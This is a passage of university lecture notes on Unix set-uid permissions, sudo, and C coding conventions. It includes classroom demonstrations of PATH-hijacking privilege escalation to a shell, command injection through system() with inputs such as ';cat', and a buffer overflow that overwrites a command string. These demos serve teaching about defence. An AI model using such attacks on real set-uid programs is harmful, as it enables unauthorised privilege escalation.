And we can interpet the octals like so:
set group
bits user | other
| | | |
V V V V
110 111 101 001
6 7 5 1
When we look at the ls -l output of the
program, the permission string reflects these settings with
an “s” in the execute part of the string for user and
group.
$ ls -l get_uidgid
-rwsr-s--x 1 aviv scs 8778 Mar 30 16:45 get_uidgid
With the set-bits, when the program runs, the capabilities of the program are effectively that of the owner and group of the program. However, the real user id and real group id remain that of the user who ran the program. This brings up the concept of effective vs. real identifiers:
The system calls getuid and
getgid return the real user and group
identifiers, but we can also retrieve the effective
user and group identifiers with
uid_t geteuid(void) - return the effective
user identifier for the calling process.gid_t getegid(void) - return the effective
group identifer for the calling process.We now have enough to test set-x-bit programs using a the following program that prints both the real and effective user/group identities.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int
main(void)
{
uid_t uid,euid;
gid_t gid,egid;
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
return 0;
}
As the owner of the file, after compilation, the permissions can be set to add set-user-id:
$ gcc 11/get_uidgid.c -o get_uidgid
$ chmod 6755 get_uidgid
$ ls -l get_uidgid
-rwsr-sr-x 1 gparmer gparmer 16880 2022-03-29 08:30 get_uidgid
Notice the s values to denote the
set-*-bits.
Lets test this set uid stuff!
$ cp get_uidgid /tmp/
$ chmod 4755 /tmp/get_uidgid
Now you should all have access to the file, with it being set as set-uid.
Question:
Compile and run the get_uidgid program.
What would you expect to happen? What do you observe? Recall
that you can use id to print out both of your
ids and groups.
Run the get_uidgid program I placed in
/tmp/. What is the expected output? What do you
observe?
What happens if we enable a program to create files
while using the set-*-id bits? Lets use the
following program that will create a file named after each
command line arguments.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
int
main(int argc, char * argv[])
{
int i, fd;
for(i = 0; i < argc; i++){
/* create an empty file */
if((fd = open(argv[i],O_CREAT,0666) > 0) > 0){
close(fd);
} else {
perror("open");
}
}
return 0;
}
Run the following program in your home directory (can
also be found in create_files.c), passing as
arguments the names of files you want to create:
./create_files blah will create a file
blah. Check out the owner of the files
(ls -l blah). I’ve also set up the file as
setuid on the server in
/tmp/create_files. Try running the
following
$ /tmp/create_files /tmp/blah
$ ls -l /tmp/blah
...
$ /tmp/create_files ~/blah
...
What do you think the output for the first
... will be – who is the owner of the file? The
second? What are the outputs, and why?
The set-bits automatically start a program with the effective user or group id set; however, there are times when we might want to downgrade privilege or change permission dynamically. There are two system calls to change user/group settings of an executing process:
setuid(uid_t uid) - change the effective
user id of a process to uidsetgid(gid_t gid) - change the effective
group id of a proces to gidThe requirements of setuid() (for all users
other than root) is that the effective user id can be
changed to the real user id of the program or to an
effective user id as described in the set-bits. The
root user, however, can downgrade to any user id
and upgrade back to the root user. For setgid()
the user can chance the group id to any group the user
belongs to or as allowed by the set-group-id bit.
Now we can look at a program that downgrades and upgrades a program dynamically:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
main(void)
{
uid_t uid, euid;
gid_t gid, egid;
uid_t saved_euid;
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
saved_euid=euid;
setuid(uid);
printf("---- setuid(%d) ----\n",uid);
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
setuid(saved_euid);
printf("---- setuid(%d) ----\n",saved_euid);
uid = getuid();
gid = getgid();
printf(" uid=%d gid=%d\n", uid, gid);
euid = geteuid();
egid = getegid();
printf("euid=%d egid=%d\n", euid, egid);
return 0;
}
Question:
set-uid bit?We previously covered the general desire to have a log in the system of the events for different activities. For example, logging when each user logs in, when clients make web requests of an http server, etc…
We might support two high-level operations:
If we don’t care to censor the log, we can support the
second very easily by, for example, making the log file’s
group the log group, and giving read
(4) permissions to the log for anyone in that
group. Now any user in the loggroup can read
the log.
However, to support adding logging events to the log, we
might use the set-uid-bit to ensure that a log
program runs with the effictive user-id of the logger user.
Thus, it will be able to append to the log in a
straightforward manner.
One example of how you might want to use the identity
management APIs is when logging in. The process of logging
in requires that the login program access
sensitive files that include (encrypted) user passwords
(/etc/shadow). Understandably, users don’t
generally have access to these files. Thus, the act of
logging in requires programs running as root to
read in username and password. Only if they match the proper
values for a user, will the login logic then change uid/gid
to the corresponding user and group id, and execute a shell
for the user (as the user). See the figure for more
details.
sudo and su: Increasing Access
RightsThere are many times in systems that we want to increase the privileges of a human. For example, for security, it is often not possible to login as root. But it is certainly true that sometimes humans need to be able to run commands as root. For example, updating some software, installing new software, creating new users, and many other operations, all require root.
To control who is able to execute commands as
root, the sudo and su
programs enable restricted access to root privileges.
Specifically, sudo and su will
execute a command as a specified user or switch
to a specified user. By default, these commands execute
as the root user, and you need to know the root password or
have sudo access to use them.
We can see this as the case if I were to run the
get_euidegid program using sudo.
First notice that it is no longer set-group or set-user:
$ sudo ./get_euidegid
[sudo] password for gparmer:
uid=0 gid=0
euid=0 egid=0
After sudo authenticated me, the program’s effective and real user identification becomes 0 which is the uid/gid for the root user.
Who has permission to run sudo commands?
This is important because on many modern unix systems, like
ubuntu, there is no default root password.
Question:
root account with
a password instead of having sudo and
su?Instead certain users are deemed to be sudoers or
privileged users. These are set in a special configuraiton
file called the /etc/sudoers.
aviv@saddleback: lec-23-demo $ cat /etc/sudoers
cat: /etc/sudoers: Permission denied
aviv@saddleback: lec-23-demo $ sudo cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
Notice that only root has access to read this file, and
since I am a sudoer on the system I can get
access to it. If you look carefully, you can perform a basic
parse of the settings. The root user has full
sudo permissions, and other sudoer’s are
determine based on group membership. Users in the
sudo or admin group may run
commands as root, and I am a member of the
sudo group:
$ id
uid=1000(gparmer) gid=1000(gparmer) groups=1000(gparmer),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
Question:
sudo is implemented?
What mechanisms from this week’s lecture is it using to
provide the requested functionality?What if we implemented an assignment submission program
that copied a student’s directory into the instructor’s home
directory? For example, if you wanted to submit the
directory of code at my_hw/ for homework
HW1,
$ ./3410_submit HW1 my_hw
This program, run by you, has your user and group permissions, but it is able to take your submission and copy/save those submissions to my home directory, with my permissions at a location where you do not have access to write. How is that possible?
Naively, we’d have a problem:
Yikes.
Question:
This material adapted from Prof. Aviv’s material.
It is an unfortunate truth of security that all programs have faults because humans have faults — human’s write programs. As such, we will take some time to understand the kinds of mistakes you, me, and all programmers may make that can lead to security violations.
This is a broad topic area, and we only have a small amount of time to talk about it. We will focus on three classes of attack that are very common for the kinds of programs we’ve been writing in this course.
In isolation, each of these attacks can just make a
program misbehave; however, things get interesting when an
attack can lead to privilege escalation. Privilege
escalation enables a user to maliciously access resources
(e.g. files) normally unavailable to the user, by exploiting
a program with heightened privilege (e.g. due to
setuid bits, or explicit id upgrades) to
perform arbitrary tasks. The ultimate goal of an attacker is
to achieve privilege escalation to root, which
essentially gives them access to all system resources.
You might think that the kernel has more privilege than the
rootuser. However, therootuser is given access to the/dev/mempseudo-device that is “all of memory” including all of the kernel’s memory, androothas the ability to insert dynamic libraries (called “kernel modules”) into the kernel to dynamically update kernel code! Beingroottruly is a super-power!
Each of these topics are quite nuanced, and the hope is to give you a general overview so you can explore the topic more on your own.
We’ve been using path lookup throughout the class. Perhaps the best example is when we are in the shell and type a command:
$ cat Makefile
BINS=$(patsubst %.c,%,$(wildcard *.c))
all: $(BINS)
%: %.c
gcc -o $@ $<
clean:
rm -rf $(BINS)
The command cat is run, but the program that
is actually cat’s the file exists in a different place in
the file system. We can find that location using the
which command:
$ which cat
/bin/cat
So when we type cat, the shell look for the
cat binary, finds it in /bin/cat,
and executes that. Recall when we discussed environment
variables that binaries are found by looking in all of the
directories in the PATH enviroment
variable.
$ echo $PATH
/home/gparmer/.local/bin/:/home/gparmer/.local/bin:/home/gparmer/.cargo/bin:/home/gparmer/.local/bin/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/gparmer/local/bin:/usr/racket/bin/:/home/gparmer/local/bin:/usr/racket/bin/
Lets look at that by converting the :, which
separate the directories, with newlines:
$ echo $PATH | tr : "\n"
/home/gparmer/.local/bin/
/home/gparmer/.local/bin
/home/gparmer/.cargo/bin
/home/gparmer/.local/bin/
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
/usr/games
/usr/local/games
/snap/bin
/home/gparmer/local/bin
/usr/racket/bin/
/home/gparmer/local/bin
/usr/racket/bin/
Each of the directories listed is searched, in order, until the command’s program is found.
Environment variables are global variables set
across programs that provide information about the current
environment. The PATH environment variable is a
perfect example of this, and the customizability of the
environment variables. If you look at the directories along
my path, I have a bin directory Win my home directory so I
can load custom binaries. The fact that I can customize the
PATH in this way can lead to some interesting
security situations.
system()To help this conversation, we need to introduce two
library functions that work much like execvp()
with a fork(), like we’ve done all along, but
more compact. Here’s an abridged description in the manual
page:
NAME
system - execute a shell command
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
DESCRIPTION
system() executes a command specified in command by calling
/bin/sh -c command, and returns after the command has been
completed. During execution of the command, SIGCHLD will be
blocked, and SIGINT and SIGQUIT will be ignored.
That is, the system() function will run an
arbitrary shell command, inheriting all of the file
descriptors of the caller of system. Let’s look
at a very simple example, a “hello world” that uses two
commands.
#include <stdio.h>
#include <stdlib.h>
int
main(void)
{
/*
* Execute `cat`. It inherits the stdin/stdout/stderr
* of the current process.
*/
system("cat");
return 0;
}
$ echo "Hello World" | ./system_cat
Hello World
The system_cat program runs cat with
system(), thus it will print whatever it reads
from stdin to the screen (recall: cat
essentially echos stdin to stdout). It turns out, that this
program, despite its simplicity, actually has a relatively
bad security flaw. Let’s quickly consider what might happen
if we were to change the PATH value to
include our local directory:
$ export PATH=.:$PATH
$ echo $PATH
./:/home/gparmer/.local/bin/:/home/gparmer/.local/bin:/home/gparmer/.cargo/bin:/home/gparmer/.local/bin/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/gparmer/local/bin:/usr/racket/bin/:/home/gparmer/local/bin:/usr/racket/bin/
$ echo $PATH | tr : "\n" | head -n 2
./
/home/gparmer/.local/bin
The export builtin command in our shell
updates an environment variable. We see that at the start of
the PATH variable is now the current directory!
system (and execvp) will look for
the program in the current directory before the
others. So now the local directory is on the path, thus if I
were to create a program named cat, then that cat would run
instead of the one you would expect. For example, here is
such a program (in fake_cat.c):
#include <stdlib.h>
int
main(void)
{
system("echo 'Goodbye World'");
return 0;
}
This is our imposter program! In this case it is
innocuous, but you can imagine it being more nefarious. To
do this, we’ll make a new cat command
in the current directory.
$ echo "Hello World" | ./system_cat
$ cp fake_cat cat
$ echo "Hello World" | ./system_cat
Goodbye World
This is not just a problem with the system()
command, but also execvp(), which will also
look up commands along the path.
#include <unistd.h>
int
main(void)
{
char * args[] = { "cat", NULL };
execvp(args[0], args);
return 0;
}
$ rm ./cat
$ echo "Hello World" | ./execvp_cat
Hello World
$ cp fake_cat cat
$ echo "Hello World" | ./execvp_cat
Goodbye World
Question:
How do we fix this? There are two solutions:
setenv()You can actually control the current PATH
setting during execution. To do this you can set the
enviorment variables using setenv() and
getenv()
#include <stdlib.h>
#include <unistd.h>
int
main(void)
{
/* ensure the enviorment only has the path we want and overwrite */
setenv("PATH","/bin",1);
char * args[] = { "cat", NULL };
execvp(args[0], args);
return 0;
}
$ rm ./cat
$ echo "Hello World" | ./setenv_cat
Hello World
$ cp fake_cat cat
$ echo "Hello World" | ./setenv_cat
Hello World
Success! Because we used a controlled and known
PATH, we can avoid the attacker-chosen
cat from executing.
The previous examples were bad as we made the
program execute different than the programmer intended. But
we didn’t necessarily see the risk of privilege
escalation yet. So let’s see what happens when we
introduce set-uid to the mix. This time, I’ve
set the program system_cat to be set-user-id in a place that
others can run it:
$ chmod 4775 system_cat
$ ls -l system_cat
-rwsrwxr-x 1 gparmer gparmer 16704 Apr 4 13:01 system_cat
Now lets imagine there is another user on the system
hacker-mchackyface, and as that user we update
the PATH…
$ export PATH=.:$PATH
…and do something this time that is not so innocuous.
Lets run a shell after changing our real user id to that
of gparmer. Yikes.
#include <stdlib.h>
int
main(void)
{
char * args[]={"/bin/sh",NULL};
/* set our real uid to our effective uid */
setreuid(geteuid(),geteuid());
execvp(args[0],args);
return 0;
}
This time when we run the system_cat program, it will run bash as the set-user-id user. Now we’ve just escalated privilege.
$ whoami
hacker-mchackyface
$ ./system_cat
$ whoami <---- new shell!
gparmer
$
Uh oh. Now user hacker-mchackyface has
escalated their privilege to that of user
gparmer!
Path Attacks Summary: Multiple UNIX APIs
rely on the PATH environment variable to help
us find a program we want to execute. The attacker can
modify PATH by adding their attack path, and
ensure that a program with the same name as the target is in
that path. This will lead to the program executing the
attacker’s code! Should this attack exist in a program that
is set-uid, the attacker can now execute the
program at the higher privilege.
LD_PRELOAD Attacks?We might be clever, and think that we can use
LD_PRELOAD to take over some of the library
APIs with our own code! Fortunately, this doesn’t work. The
dynamic linker (ld.so) will only use the
LD_PRELOAD environment variable if the real
user id is the same as the effective user id! A simple
solution to a threatening problem.
Now, lets consider a situation where you use
system() in a safer way. You call all programs
with absolute path, or update and control PATH
before using it. Unfortunately, even that is not
enough. You must also consider injection
attacks which is when the attacker can inject code that
will run. In our case, the injected code will be bash.
Consider this program which prompts the user for a file to cat out.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(void)
{
char cmd[1024] = "/bin/cat ./"; /* will append to this string */
char input[40];
printf("What input do you want to 'cat' (choose from below)\n");
system("/bin/ls"); /* show available files */
printf("input > ");
fflush(stdout); /* force stdout to print */
scanf("%s",input);/* read input */
strcat(cmd,input); /* create the command */
printf("Executing: %s\n", cmd);
fflush(stdout); /* force stdout to print */
system(cmd);
return 0;
}
If we were to run this program, it hopefully does what you’d expect:
$ ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile setenv_cat setenv_cat.c system_cat system_cat.c
input > Makefile
Executing: /bin/cat ./Makefile
BINS=$(patsubst %.c,%,$(wildcard *.c))
all: $(BINS)
%: %.c
gcc -o $@ $<
clean:
rm -rf $(BINS)
Ok, now consider if we were to provide input that doesn’t fit this model. What if we were to provide shell commands as input instead of simply the file name?
$ ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile setenv_cat setenv_cat.c system_cat system_cat.c
input > ;echo
Executing: /bin/cat ./;echo
/bin/cat: ./: Is a directory
$
The input we provided was ;echo the
semi-colon closes off a bash command allowing a new one to
start. Specifically, the programmer thought that the command
to be executed would only take the shape
/bin/cat ./<file> for some user-specified
<file>. Instead, we make the command
execute /bin/cat ./;echo! Notice that there is
an extra new line printed, that was the echo printing. This
is pretty innocuous; can we get this program to run
something more interesting?
We still have the cat program we wrote that
prints “Goodbye World” and the PATH is set up
to look in the local directory. Setting that up, we get the
following result:
$ ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile setenv_cat setenv_cat.c system_cat system_cat.c
input > ;cat
Executing: /bin/cat ./;cat
/bin/cat: ./: Is a directory
Goodbye World
At this point, we own this program (pwn in
the parlance) – we can essentially get it to execute
whatever we want. If the program were set-uid,
we could escalate our privilege.
Injection Attacks Summary: When the user
can enter commands that are passed to functions that will
execute them, we must be exceedingly careful about
sanitizing the input. For shell commands, this
often means avoiding ; and | in
inputs. Interestingly, one of the most common attacks on
webpages is SQL injection. When user input
is used to create SQL commands, an attacker might add
; followed by additional queries. For example,
we might append ; DROP TABLE USERS to
destructively harm the database!
Two attacks down, moving onto the third. Let’s now assume that the programmer has wised up to the two previous attacks. Now we are using full paths to executables and we are scrubbing the input to remove any potential bash commands prior to execution. The result is the following program:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(void)
{
char cmd[1024] = "/bin/cat ./"; /* will append to this string */
char input[40];
int i;
printf("What input do you want to 'cat' (choose from below)\n");
system("/bin/ls"); /* show available files */
printf("input > ");
fflush(stdout); /* force stdout to print */
scanf("%s",input);/* read input */
/* clean input before passing to /bin/cat */
for (i = 0; i < 40; i++) {
if (input[i] == ';' || input[i] == '|' || input[i] == '$' || input[i] == '&') {
input[i] = '\0'; /* change all ;,|,$,& to a NULL */
}
}
/* concatenate the two strings */
strcat(cmd,input);
printf("Executing: %s\n", cmd);
fflush(stdout);
system(cmd);
return 0;
}
$ ./overflow_system
What input do you want to 'cat' (choose from below)
cat execvp_cat inject_system inject_system.c~ Makefile overflow_system overflow_system.c~ run_foo.c setenv_cat setenv_cat.c~ system_cat #system-ex.c#
cat.c execvp_cat.c inject_system.c input.txt mal-lib overflow_system.c run_foo run_foo.o setenv_cat.c shared-lib system_cat.c
input > ;cat
Executing: /bin/cat ./
/bin/cat: ./: Is a directory
This time, no dice, but the jig is not up yet. There is an overflow attack.
Question:
To increase the input side programatically, we’ll use a
small trick to print a bunch of As:
$ python -c "print 'A'*10"
AAAAAAAAAA
$ python -c "print 'A'*30"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ python -c "print 'A'*50"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This produces strings of varying lengths 10,
30, and 50. Those strings can be
sent to the target program using a pipe. And we can see the
result:
$ python -c "print 'A'*10" | ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile overflow_system.c setenv_cat setenv_cat.c system_cat system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAA
/bin/cat: ./AAAAAAAAAA: No such file or directory
$ python -c "print 'A'*30" | ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile overflow_system.c setenv_cat setenv_cat.c system_cat system_cat.c
input > Executing: /bin/cat ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/bin/cat: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
$ python -c "print 'A'*50" | ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat execvp_cat execvp_cat.c fake_cat fake_cat.c inject_system inject_system.c Makefile overflow_system.c setenv_cat setenv_cat.c system_cat system_cat.c
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
Something changes at when the input string is
50 bytes long. We overflow the buffer for the
input.
Question:
/bin/cat.Recall that the input buffer is only 40
bytes and size, and it is placed adjacent to the cmd
buffer:
char cmd[1024] = "/bin/cat ./"; /* will append to this string */
char input[40];
When the input buffer overflows, we begin to
write As to cmd which replaces
/bin/cat with whatever string is written at
that location! Yikes. Finally, we concatenate
cmd with input, resulting in a long string of
As for the command being executed by
system().
How do we leverage this error to pwn this program? The
program is trying to execute a command that is
AAA... and we can control the
PATH. Lets get dangerous. Let’s create such a
program named AAA..., so that it is executed
when we overflow!
$ cp cat AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye World
Now when we execute the overflow, we get our desired “Goodbye World” result:
python -c "print 'A'*50" | ./inject_system
What input do you want to 'cat' (choose from below)
01_lecture.md cat fake_cat inject_system.c setenv_cat system_cat.c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA execvp_cat fake_cat.c Makefile setenv_cat.c
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA execvp_cat.c inject_system overflow_system.c system_cat
input > Executing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye World
Uh-oh: we’re executing attacker-controlled code again!
Question:
The most direct way is to always “bound check” accesses
to strings, just like Java and Python do. For example,
always use library functions like strncp() or
strncat() that we can use to prevent
input from overflowing, but that is even
sometimes not sufficient. This can all get quite complex.
This is an introduction to this issue, and not the final
say.
Find the slides.
Find the slides.
C gives you quite a bit of freedom in how you write your code. Conventions are necessary in C because they bring order to the unrestricted freedom that allows code that is too complicated to debug, too clever to understand, and completely unmaintainable. Conventions are a set of rules that we follow that inherently limit the way in which we write code. The intention is to put guard rails onto our development process and to only deviate from the conventions in exceptional cases. An important aspect of this is that once you understand the conventions, it is drastically easier to read the code because you only have to consider how convention-based code is written. This means that there is a significant importance to uniformly applying conventions. Because of this, it is less important if one likes the conventions, than it is to adhere to them for uniformity.
Put another way, it is easy for any programmer to code themself into a corner where the program is more complex than our brains can handle. Being an experienced programmer is much less about being able to handle more complexity, and much more about understanding that you need to spend significant development time simplifying your code. Conventions are a set of codified simplifications, in some sense. They provide your a set of rules (that you don’t need to think about, you just do) to simplify the structure of your code.
OK, onward to conventions!
There are many potential naming conventions, for example, camel case, snake case, and hungarian notiation. Some are antiquated (hungarian), but most are a matter of taste and convention.
Convention. Most C uses lower-case
snake_casefor variables, types, and functions, capitalSNAKE_CASEfor constants and macros.
Stick to this convention. A new convention will likely not feel “right” because it is new and different. Remember that they are subjective, but the aim to apply them uniformly.
For names that are visible across .c files
(i.e. functions in a .h file), use names that
are the shortest they can be to convey the functionality.
Within functions, names can be short, and here there are a
few conventions as well:
ret is a variable that stores a return
value (i.e. a value that will later be used as in
return ret;).i, j, k,
l are iterator variables.When you create a global variable, type, or function,
you’re creating a symbol that can be accessed for any
.c file. This has a significant downside: if
you choose a name that is already used in a library, or that
is common, you might get a linker error along the lines
of:
multiple definition of `foo'; /tmp/ccrvA8in.o:a.c:(.text+0x0): first defined here
...
collect2: error: ld returned 1 exit status
This means that the naming choices each application and library makes can easily cause such a problem.
Convention. Thus, the convention is that you should “namespace” your functions and variables by pre-pending them with a functionality-specific prefix. For example, a key-value store might have all of its types, variables, and functions prefixed with
kv_, for example,kv_get.
C does not have classes and the rules therein to support
per-class/object encapsulation. Instead, C views each
.c file as a unit of visibility. Functions and
global variables (known as “symbols”) can be hooked up with
references to them in other objects by the linker. However,
it is possible to write code in a .c file that
is not visible outside of that file. In contrast to
the linking error above emphasizing good naming, if a symbol
is marked as static, no other .c
file will be able to reference that symbol.
static int global_var;
static void foo(void) { }
No other .c file can define code that will
be able to access global_var nor call
foo. You can see the list of all symbols within
a .c file that are accessible outside of it by
compiling into a .o file (using
gcc -c ...), and
nm -g --defined-only x.o | awk '{print $3}'
(replace x with your object file name).
Convention. All functions and variables that are not part of the public interface with which to interact with the
.cfile should bestaticso that they cannot be used from other objects.
This convention enables .c files to support
encapsulation. It is also important to support encapsulation
at compile time (which is before linking). We want our
compiler to tell us if we try and access a symbol we
shouldn’t be able to access. Header files are
#included into .c files, thus
providing access to the symbol names and types, so that the
.c file can compile while referencing symbols
in another.
Convention. The focus of header files should be to provide the types for the data and functions of a public interface, and nothing more.
When we include a file, it just copies the file at the
point of the #include. Thus, if the same header
is included separately into two .c files, then
it effectively replicates the header’s contents into the two
.o files. This can cause problems if the two
.o files are linked together. An example:
a.c:
#include "c.h"
b.c:
#include "c.h"
int main(void) { return 0; }
c.h:
int foo(void) { return -1; }
After compiling these files, we get
$ gcc -c a.c -o a.o
$ gcc -c b.c -o b.o
$ gcc a.o b.o -o test
/usr/bin/ld: b.o: in function `foo':
b.c:(.text+0x0): multiple definition of `foo'; a.o:a.c:(.text+0x0): first defined here
collect2: error: ld returned 1 exit status
Because foo was replicated into each
.o file, when they were linked together the
linker said “I see two foos!”. Note that we
would have avoided this if we put only the function
declaration (i.e. the type information) in the
.h file (e.g. int foo(void);).
Convention. Never put global data in a
.hfile. Only put type information (e.g. function declarations) in.hfiles28.
You must include the header files that provide the functionality that you rely on and use. This sounds obvious, but it is very easy to mess this up. A couple of examples:
Example 1: Implementing a library. You’re
implementing a library, and you have a .h file
for it that exposes the types of the library’s functions.
You test your library, and it works wonderfully – victory!
However, because it is a library, it might be used by other
people’s code, and all they are going to do is
#include <your_lib.h>, and expect
everything to work.
What if the following happened? Your
your_lib.h file does this:
/* ... */
size_t my_function(struct my_type *t);
/* ... */
In your test file, you do this:
#include <stddef.h>
#include <your_lib.h>
/* ... */
Your tests of your library work wonderfully! But if the user of your library simply does:
#include <your_lib.h>
/* ... */
The user will get a compiler error that says it doesn’t
understand what size_t is! The core problem is
that your library’s header file didn’t include all of the
headers it relies on! Instead, it should updated to look
like so:
#include <stddef.h> /* we require `size_t` */
/* ... */
size_t my_function(struct my_type *t);
/* ... */
A good way to defensively code to try to minimize the chance that this error happens, you should include your header files before the rest of the header files. The only real solution is to be very careful, and always include what headers are necessary for the functionality you depend on.
Example 2: implementing a program or test. A
.c file, lets say my_prog.c,
includes some header file, head.h. It compiles
just fine. But if my_prog.c relies on some
header file – lets say dep.h – that is only
included itself in the head.h file, then if
head.h is updated and removes the include, it
will break any program that depends on it! In this case,
my_prog.c should explicitly include
dep.h: include the headers that are required
for your functionality!
How do you know which headers to include? If
you’re using a system function, the man page
for it is explicit about which headers provide the necessary
functionality. If you’re implementing a library in the
class, we are explicit about what headers are required.
Syntactic nesting, or depth often significantly increase the cognitive complexity in C29. Two examples of this:
Depth through indentation nesting. Each
additional nesting level (each nested set of
{}) adds another condition that you must keep
in your mind30 when
understanding the code. This includes the conditions, or
looping conditions associated with the nesting level. This
is a lot to keep in your head, and makes developing
and reading code quite a bit more difficult.
What can you do to avoid this nesting? First, return early for errors. Instead of the following code…
if (a) {
/* normal code */
} else {
/* error code */
return;
}
…do the following…
if (!a) {
/* error code */
return;
}
/* normal code */
Though seemingly trivial, it enables you to separate your understanding of error conditions from the complexity of the following code. Try to perform as much error checking as soon as it possibly can be done so that you can switch into “normal case” thinking.
Second, if you nest deeper than four levels of brackets, then pull code out into appropriately-named functions. Long functions aren’t necessarily bad, but complex functions are.
Convention.
- Separate error handling where possible, and put it as close to the top of the function as possible.
- If you nest brackets deeper than 4 levels, pull logic out into separate, appropriately named functions.
I use indentation levels in C of eight visual spaces to make it visually clear when I’m indenting too much.
Depth through field nesting. It can be quite difficult to follow code that nests access to fields. For example:
a.b->c[d].e = f.g->h;
Of course, this is fake code, but even if it wasn’t, keeping track of the types of each of the levels of increasing depth of field reference is nearly impossible. This will make writing the code fickle and challenging, and reading the code, needlessly complex.
The main means we have to remove this complexity is to
Create an set of typed variables
struct *b = &a.b;
struct *c[] = b->c;
struct *g = &f.g;
c[d].e = g->h;
It is up to you to decide where it is right to provide an “intermediate” type for a certain depth in the fields, and when to directly dive into a few fields.
If any the structs (or sub-structs, or arrays) represents an API layer, then you can call a function that performs the necessary operation on that part of the data-structure. This both provide abstraction over the data access, and documents the types.
Convention. When faced with walking through nested composite data-structures, use intermediate variables to make types explicit, or functions to abstract operations.
C is an imperative programming language as it came before Object Orientation (OO) took hold. That said, the OO concept of encapsulation behind an abstract data type is a universal requirement of programming in complex environments. Though C doesn’t support this explicitly, conventions can provide much of the same benefit. Such an abstraction requires
If we wanted to provide a key-value datatype,
kv, we’d provide these in C by
struct kv for the datatype in
which the rest of the data is contained,kv.h) a set of
functions with names all prefixed with kv_,
that take the kv to operate on as the first
argument
(e.g. void *kv_get(struct kv *kv, int key);) –
this first argument acts as “this” in Java,
andstruct kv *kv_alloc(...) and
void kv_free(struct kv *kv)31.C can support polymorphism, inheritance, dependency injection and composition as well, but we’ll leave that for a future discussion.
Convention.
- Meticulously name your header files, your structure, and the methods to act on the datatype to associate them with each other.
- Pass the object to be acted on as the first argument to each of the “methods” to act as the C equivalent of “
this”.- Provide allocation and deallocation functions for the datatype.
With this, we encourage the client (user of the API) to think of the datatype as encapsulated.
Description from Wikipedia. https://en.wikipedia.org/wiki/Sizeof↩︎
Definition from Wikipedia. https://en.wikipedia.org/wiki/Union_type↩︎
Which is provided by gcc and
can be found in
/usr/include/gcc/x86_64-linux-gnu/9/include/stddef.h.↩︎
In /usr/include/limits.h.↩︎
Arrays differ from pointers as 1. the
sizeof operator on an array variable gives the
total size of the array (including all elements) whereas for
pointers, it returns the size of the pointer (i.e. 8 bytes
on a 64 bit architecture); 2. & on an array
returns the address of the first item in the array whereas
for pointers, it returns the address of the pointer; and 3.
assignments to pointers end up initializing the pointer to
an address, or doing math on the pointer whereas for arrays,
initialization will initialize items in the array, and
math/assignment after initialization are not allowed.↩︎
Not always an easy feat. See the previous discussion on Common Errors.↩︎
for example, in
/usr/include/asm/errno.h.↩︎
C was also created as part of the original UNIX as a necessary tool to implement the OS!↩︎
This is a little bit like when an agent transforms from a normal citizen in the Matrix.↩︎
